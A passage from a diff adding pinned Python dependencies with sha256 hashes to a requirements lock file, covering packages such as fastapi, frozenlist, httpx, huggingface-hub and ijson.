--hash=sha256:4ad076f4f66cb8acb79e4384d48b1ea60a0b1957aa0b1112d4887ea3a4df60e0 \ + --hash=sha256:56b877b37ed73f0bf53ba7afc394816ff1eb5d701bae24a24ed9e1ea6f7ce34f \ + --hash=sha256:66e4ac3d6e7026e83e7d93d7ee2f51dd4a4e8dff673578d424e60796893e5b2c \ + --hash=sha256:745e1800ec2961e5660c1a317c0a20e28c0fef4de36c04f17a21c33f2b37a92a \ + --hash=sha256:7bf29e0d8ce80b100d37fb333e1b193b790d962739f3067796c2b03ffdc9afee \ + --hash=sha256:8a697acec45dbc70d17fb5d9f4f61989fc294d273c69de487fd10cb35fdd75eb \ + --hash=sha256:92fc425308a08f601f3c69afb4719767f9b898276f44b97e6942a713c4c32740 \ + --hash=sha256:a9e9d3550e15ca479c59333e90845029190531f0cacfedab3b815a57bd913947 \ + --hash=sha256:a9eca6ab09a61534e923064400081e016f7e1d8430cc6e8b7a9cecd2f59e2b07 \ + --hash=sha256:b17a4896520f1c6da09ce76ec8215df0b85b0b6f3617526a4c65c2315340875a \ + --hash=sha256:b7dbde1fb822d100802d505b2aed6d0813b1a0a2015d495cb8798b2215d5d1e5 \ + --hash=sha256:ba810a66b437e3c43ca0ce0892404f010338286263ca8e5108442d76a9485337 \ + --hash=sha256:c1ffb9953708b648ecf6acd2e5ad2c002bf68785ed618197dd4463a2a7226f39 \ + --hash=sha256:c21dd7e1ec22556bb41dc3bf6b86c603e440ec889c4acb27d7206354b2106c54 \ + --hash=sha256:cba7b99573ee41f9510c6deeff1cdd0c333748b9dd63d5016413dd57ba9a4593 \ + --hash=sha256:d593a330297332ec435f3965c448b6d500e03f33675cf2063178bc76377a788e \ + --hash=sha256:e489c7268e1c7b41e13b438d9c533d2a7af73fb59bf8cd30fead8286c1c39c4e \ + --hash=sha256:e6744ac1850c73c2ba7b29a126cf9ab74efd1831190720e8fee17ef5389c8f5d \ + --hash=sha256:f49b1d6cecf326b63c06d7f517e4a6642777f758c58cb799e7bc5a6dd74721c2 \ + --hash=sha256:fa47099176d1d612bef69e9f74658a5687a9f05bd80fb5710f99959bace85735 \ + --hash=sha256:feea785c7bbeb8cfd5b01a63f9061c899dc468c8be81671141a29305774fa294 \ + --hash=sha256:ffeeaf4dfe1534375902040df32a4c48f721fd35a4d4d337ac72a44d4176075b +dill==0.4.1 \ + --hash=sha256:1e1ce33e978ae97fcfcff5638477032b801c46c7c65cf717f95fbc2248f79a9d \ + --hash=sha256:423092df4182177d4d8ba8290c8a5b640c66ab35ec7da59ccfa00f6fa3eea5fa +docstring-parser==0.18.0 \ + --hash=sha256:292510982205c12b1248696f44959db3cdd1740237a968ea1e2e7a900eeb2015 \ + --hash=sha256:b3fcbed555c47d8479be0796ef7e19c2670d428d72e96da63f3a40122860374b +fastapi==0.141.1 \ + --hash=sha256:bfb91aa2d334c61cb35ba9a116fc123b3d3df31640b801cf57a7a78ec3f603b3 \ + --hash=sha256:e8822fc40db1e1858054d7a949a888695bc9bdce70139178e33bd2871a453ca1 +filelock==4.0.4 \ + --hash=sha256:0df72be195ca7892216d16f2edce8d9b93a571f02402972020a8cff84c594c7b \ + --hash=sha256:90999ed63a26ccf86b93b959ab10cf1017f422d816be454ed54cbed263e71ab5 +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ + --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ + --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ + --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ + --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ + --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ + --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ + --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ + --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ + --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ + --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ + --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2026.6.0 \ + --hash=sha256:02e0b71817df9b2169dc30a16832045764def1191b43dcff5bb85bdee212d2a1 \ + --hash=sha256:f5bac145310fe30e16e1471bd6840b2d990d609e872251d7e674241822abf01a +h11==0.16.0 \ + --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ + --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 +hf-xet==1.6.0 \ + --hash=sha256:0e6e21fa3cdfcdcd76748564bf593870a5e013f47d97cf10aed63aa222cff5b7 \ + --hash=sha256:23379c2f9ec8696d952b16414a2bae72cad86a52df869b050698ba60f538c675 \ + --hash=sha256:2e58454a340b3556dfa4972d5451aff4fba8dd42a236600ba1a1d2b1514f0fef \ + --hash=sha256:35cec30d75c6f9eb9c16a77cef68e85a103b72e24d4b473714ec9ff06428bab9 \ + --hash=sha256:3dc3e35441ba395006af5aaacc40ef2e603c51ef46c3530b9156185f00935ea3 \ + --hash=sha256:4fc74352a17015bd0ee90038bc9efe38db894cde45f268b6712b04fce8cd0acb \ + --hash=sha256:5153e6bb103ad49d6ea9f1b2e230db5a2ea32551ad09a706d2f61d7c7c80d80e \ + --hash=sha256:5789835d7c6bc9436962853192082374297fb72d7eff7e7762ec25ceb7e25338 \ + --hash=sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a2866ebf6ededfe0a5061d \ + --hash=sha256:70cbb9c896901600128cb9b6f06e132954fbede1db30f31f7c6c63f84cb7c31d \ + --hash=sha256:75765820ce4700db3750c94acc8fe27c5fae4c9ec000a0dbac3ca082acf97765 \ + --hash=sha256:8fb4f71cba6129110c3374a33f919001ff130488fc23553698e34cc1c2a1198c \ + --hash=sha256:948f15d3a9545cfe5932f6bd8b440f6ae630aee108f14b7bd6c561f7c2dcc522 \ + --hash=sha256:d62671bb130879cef0ee4c9ebe47a14af6c66ec53e6d84dc15936e5ffdfac82f \ + --hash=sha256:f0906082d9932ae0c0057fa194041c22b4e2cdb46b2592ef3b91f020d62a081a \ + --hash=sha256:f2f7278c05c22fd60cb436cda1269649b3e81db65ecdc8496e5e164aa4143e7b \ + --hash=sha256:fb4fadde1b2b70bf4c0c14a6dccbe7194b1c28947fefd5bbe3fed9d940676c3b +httpcore==1.0.9 \ + --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ + --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 +httpx==0.28.1 \ + --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ + --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad +huggingface-hub==1.33.0 \ + --hash=sha256:04e434b06e100eddbce9a6e817d72693a7884b10a79bd67ab48080d5c07eb899 \ + --hash=sha256:367be21a201db9523eddf8aeac7048f2602c1b308691c97640d5e72ed188007e +idna==3.20 \ + --hash=sha256:a7db850025b95ded1eae8a46181a1a6c56c92c96f0e2b005d9ff8dc0210cab44 \ + --hash=sha256:ab7ae7122974553370f0bdb919e1a960b2cd1bc1ef0276416d896db81c14582c +ijson==3.5.1 \ + --hash=sha256:05eba5268a38809ba1c3dbfa44ea67336e2c353fc11768acc9c6442fe0ccac50 \ + --hash=sha256:0663f718c6123899c6bfd9c449ec195cd8c67666b7ea2c7b36fa0cc0dcb13e17 \ + --hash=sha256:077b1b0bcb6a622d460c6674fe6647c7af5a3b06503e1996d1efcf9f78c94512 \ + --hash=sha256:0a682954b60fcd0c23d504df6fb1ebde051305e41c9b350f39a3b8bfb168def7 \ + --hash=sha256:0ade373dd765b057b1dec05d7711bfeb5a36f1e825259466d9f545cfd8ef3ba3 \ + --hash=sha256:0b184180d45f85fd4479659582749b109e49f4a29c21ac700ccc9c2280fe015e \ + --hash=sha256:0d7c5025a820f36f3e0e64f4b0232b338c690664c12b497e205cf64dcc64fc12 \ + --hash=sha256:11c1d7d36a13054b5872ecd5d745dc4009d9abdbcba2312de69e66c2f92a46d2 \ + --hash=sha256:12aa7fcf46f0fdc8e9e7cf37541e1dc20ac3f9243a23f4d346ab5395f72b0fe2 \ + --hash=sha256:1321495807dcdaca002cb45f24033208ce1d9f5ffc0c5a5584c5f466d0dcbbd5 \ + --hash=sha256:1356bca96d015948b601b013defb2d5631e4330e8f5880e4d7c933d472a90c34 \ + --hash=sha256:170cc4c209f57decc9b7ee5fd340f2a1602d54020fa222846482ff1c99e88fdc \ + --hash=sha256:1a38d503ce343952e88edfd9a27296a4ec96af7073a9db58b3df6233367f75fc \ + --hash=sha256:1a680122d0c384381f26ef3b89bdda0154f47c2571eb6e503571630aa2bb143d \ + --hash=sha256:1be3a586c8821ecab9ea8b256f39305c8a0cc33222fe393bcc1fb9221470732b \ + --hash=sha256:1de3de278b0ffb40338374ad2a730e1c56f933e0706b1815ebeb07b82239b1a3 \ + --hash=sha256:21e1a250b254edba2f0dd7272a4c56f0a879aabe328d9e306dd1fc115f560e74 \ + --hash=sha256:2699e838099d056818c5f8e4ba702b345d0304e58847bdc79c5c1616d5d750a5 \ + --hash=sha256:292648aa123904d4b40ae50cac21840123b8c2cf36a2c1d0620859581ceecdd2 \ + --hash=sha256:29eb8f0c77a296a10843a1714ad4a5d561e604cda3c88585e9012cf2c1729b0a \ + --hash=sha256:2aa9d0cf21d4de89fb633e5ec27e9ad02c3f9a4ffa3940d120b23b8aed3acffc \ + --hash=sha256:2f41982c73896acab4a2a14faa14e152e444bd69f37c3139204429fd3fe65a10 \ + --hash=sha256:3060b141ef758be3742315d44476109460c265b88247e3a4e479949f8b134eac \ + --hash=sha256:322c783f3ee0c6b383bbd4db88370b10172168808cc2a0bf811f1253f7435602 \ + --hash=sha256:32f64051be2f990d8ae7b614b5abdf4a7bead510ce3666568d7403c6c46ce4d8 \ + --hash=sha256:3321fede2b638d400de0036889a3a25c3bb689feb8df45e70a393346aad6194f \ + --hash=sha256:350caea815e53151994b597abc80cf669454276b5ac6aadcec69ef6d48f7e90b \ + --hash=sha256:3ab6378d9c19f01f206f27f762837ad3979330cabd7864e1b17934c03de6056c \ + --hash=sha256:3c0556d628443d3e871f414855313b2ae6cd9faa0104de3316bd8db03aab1589 \ + --hash=sha256:40ddd236c80a667dd6a1f6b625d18ddac68b8719ff795761b7542f2e1f78e4a4 \ + --hash=sha256:42bfda7858d99ee9777ec28cb6d347928249eefeb577f9b0a67503c18f7ebb6a \ + --hash=sha256:451901c36e12fa87cbb1cafe661bd25c08c6bd7900cc738279614f71cea07048 \ + --hash=sha256:4b75b6bf4b0dbb0df24947db6722cd5723ce8d6e6b13fddbfc98db312ba82237 \ + --hash=sha256:4e99de6fd49b44a05eeaadc857e443a9235c2a2057c4e66809e8b2dced31d2a4 \ + --hash=sha256:534a6c1a9da92a3755bfa6a1024995e840335ad5994c8f2d1f38623ba54ede4f \ + --hash=sha256:539e8d6cca079bcbb68c390e55148f908e0a943a34f7dd321248637c6272adca \ + --hash=sha256:65974568748678165d7e90e3e7ce2f7c233cfe4de6c37fbb0760941c97e14632 \ + --hash=sha256:69b5eef70240e9734c5a2fb5cc3742cae411fc833a66b9a50722b9eedb1e27de \ + --hash=sha256:69d5b74760cb50588e21bfab710a16d89e5b2f0a8fbd9594ad750fd7773a0a7f \ + --hash=sha256:6d581a071dae8dbee61f8d962e892787707bad6e641e2f6fb30dd89d3e896939 \ + --hash=sha256:6ee1e6d59c800aa819952f6cb5ff08707ecd576b29cc9c3d00e33c2b371a92ce \ + --hash=sha256:70542d4542f079c394e525559188d69e3ccfbfd9bab899acd0bf1dbc7323ddd5 \ + --hash=sha256:77b68e91f95fb16ac2e7819903cd545db6cffa308c28833cc34911e6b21e91dd \ + --hash=sha256:85997568d6b304cfa59d5c3f2b04f95b92e9a8c7f57d312343a7989cf8dfff85 \ + --hash=sha256:882bc0bdd25d41eae90a15695cd50707edde0978b8b72a2532e30442dd8fd04c \ + --hash=sha256:8b4ed62287feee41b90b55ae2800ef56d6bdfd2fbfa02b4fd0634cd4524bc995 \ + --hash=sha256:8cb5db5bc122da64efb24ce358752d5e097ab41d224ce2992536a0f9073fe4fd \ + --hash=sha256:904e8cf9ca69f5de5b6bb405a4a075ce3da3413ad50c11f6813f1201e14a8e45 \ + --hash=sha256:936f28671f018f8ac4d3f003ae9fa01d0467ab4ef4cfd0c97f23beda485b61c6 \ + --hash=sha256:94a95065b1ac67602af0cec852b07505abc37b77e3774d1c801d935d05e48f82 \ + --hash=sha256:94def0c5f9997bdc6c2f923c9fdd15e400c901979156bea3c255622db7a43f8d \ + --hash=sha256:9708c0a3d1f86056049de631933aef8ec57f2008d4cb55ce241790c7ed557428 \ + --hash=sha256:9a0b25c750a6bde14a0b31f1dcbfc86368e50767e3eaa73bb138e54128055edd \ + --hash=sha256:9c077fad5420f52cfdc906a7dffa622cb9d55c21f3bf0b4e756c6354d800598d \ + --hash=sha256:9f8c4c673d00115ced7422b6e67ae5e6ffc46ae53195877fd66932a6197decae \ + --hash=sha256:9fac9284d62c4317d541274e15a6a6ab6f6d22561579f6570967e3a6eaafaebc \ + --hash=sha256:a19413a092d458a57aaa574fec08e265851d3b5c6e018377f426cd5e70b91280 \ + --hash=sha256:a889228d3c287ef273c7b55177395de64abcf4950b637744dee928685bbb5760 \ + --hash=sha256:a96066d8c12a18ce2fa90579f2bbf991377cb71725874932e4a5d855226c162a \ + --hash=sha256:a96ab35d7ce2129dfde49c4c807596443410e260d7f7a4ca8fe4d0035553b589 \ + --hash=sha256:aa7a2c94e43c02e0482088e6ff997e2bd7b9a76e6f1d0fd70891b4b5ff51318f \ + --hash=sha256:abd724af41688035719b9f39a926876b9810808947421999b2dc6db34944a4e6 \ + --hash=sha256:af40bd1a85f55db0b8b30715c858761306bd92d5590148636f75c3309e6e76bd \ + --hash=sha256:af6ddbd10ac9bce87a835f2de3ec61455ec435c54e7e0ba7b17c31c66de6f164 \ + --hash=sha256:affb85eb75fa03a21d1f790bbf26a0e66e5701672062a30dc5c3c6a29c5c0a63 \ + --hash=sha256:b70b5da6b0571da8f601a437c4fba2d35bc27739637d85f3acdc8f88916ce68e \ + --hash=sha256:b9517efbe6604bce16f3e50d49b0cd1bdc58917f98cf2eab026599c5c0422991 \ + --hash=sha256:bad5d55c99c89de8cd0a4cded51f86427ba3353c4dccca37ec2e32e06f26b437 \ + --hash=sha256:bc0ed6a336d11b9311171eebd7a8467077291bc61b03de89ae7249bba5fa70ce \ + --hash=sha256:bc16d618a0a8f7a78735acd14628fd9f66bd4dbe80db3c522a51bee3200eb720 \ + --hash=sha256:bd756f7b22df745ac14b7bc2ab9ed7c190a222e4c8e1bef26ef1162af8e54d0f \ + --hash=sha256:c2b83b24be73f0c7a301807a4c3081939524421c7ae1556eb6eac7cff50ddfa7 \ + --hash=sha256:c2e2509dc7f2fa5a2ac9ba7d15dd901f4093bd36b0784f65e04b681b7956651c \ + --hash=sha256:c388f85cbb9eec022b2bdedd23ffacfe7ab100c1200b1f47bee6e6ea2c3309fa \ + --hash=sha256:c4b9a28e9719d1aebebe93ad8dc2ba87f4e2d9035043b196c1c07ef8530b44cc \ + --hash=sha256:c8a36a19b92cb7172c6448ab94f446033cfa3129dc4894aebe205f96b3fabf42 \ + --hash=sha256:cae04eff4006fc36bf0b030b38e2646a97092d87d933d20cfe7262e26ed32321 \ + --hash=sha256:cd0dfc5a788d0b0c2f1eab258b9dabdeefc631ca8ef87644a999f633b0b2555a \ + --hash=sha256:d78f362f51c8691798758a9e6ac3c9d385ee1228cb82987c91562a2fae235cd3 \ + --hash=sha256:e01f95433725e2df62d682ff88e4a57bb694385ff2362bc364adec961167ae04 \ + --hash=sha256:e035cdfb2a1446b13881f0dfc0eecd1541cbb17a27a938ded2160ae6ce25051b \ + --hash=sha256:e2ac204b59f09e38e16d277f906240e9fd38780e42076599419265af183dc4b4 \ + --hash=sha256:e353891d33a2e6aa5caf72c2a5fbadd7a46f5f9b32dcfd0c84113b2444c255b8 \ + --hash=sha256:e3c5f660658f2ebfba5d4dfe4bafe8cd3a0defcda410ec08d2205fe08c398940 \ + --hash=sha256:e4fcebfe1685bb7ba06a8255a5d428ea6b4b895d7acf979cb637d8bbc9db2f47 \ + --hash=sha256:e6cf9e49902f28af7a2e2f8b35c201195c0f0d5c170a5786e0c0a1b8492a4e37 \ + --hash=sha256:e8dbf71b21e65cb7f0d4d387c07fe73be820168070c3be05a0763a80f424f1c7 \ + --hash=sha256:ea4fd7bec203a600b1cc88a492dfe6b75ce4b1b87488a66adcd5406022213f64 \ + 